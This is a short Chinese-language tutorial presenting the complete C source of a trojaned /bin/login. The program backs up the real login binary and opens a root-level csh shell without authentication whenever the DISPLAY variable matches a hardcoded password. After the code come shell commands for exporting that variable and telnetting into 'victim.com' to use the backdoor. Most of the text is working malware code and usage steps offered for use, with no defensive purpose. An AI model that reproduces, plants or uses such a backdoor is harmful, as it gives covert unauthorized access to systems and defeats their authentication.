最简单的login后门ulogin.c源代码如下:
实例:login后门
/****************/
#include
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins" //这里的"/sbin/logins"即是备份原来的"/bin/login",而本程序编译后将替换为"/bin/login"
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) { //若为空,即是正常登录,用备份的"/sbin/logins"处理请求
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
if (!strcmp(display,PASSWORD)) { //比较密码是否正确,正确则为使用者登录;否则则为正常登录,转下面处理
system("/bin/csh"); //直接启动csh,也可以使用bash
exit(1);
}
execve(_PATH_LOGIN, argv, envp); //正常登录
exit(1);
}
/*********************/
利用后门登录
前提是对方机器上已经替换并备份"/bin/login"为"/sbin/logins",而且Telnet服务是打开的。然后在本机器执行:
/************************/
bash$ export DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
$
/*************************/
另:strings命令能够打印出二进制文件中的可显示字符串,如"strings /bin/login"